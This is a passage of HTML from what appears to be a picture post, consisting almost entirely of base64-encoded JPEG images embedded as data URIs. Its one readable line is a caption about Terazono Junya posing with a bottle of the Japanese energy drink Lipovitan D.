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" width="320" /><br />
<br />
<br />
<br />
3) Terazono Junya with LipoD(Lipovitan D, Japanese popular energy drink). <br />
&nbsp;<img alt="" height="239" src="data:;base64,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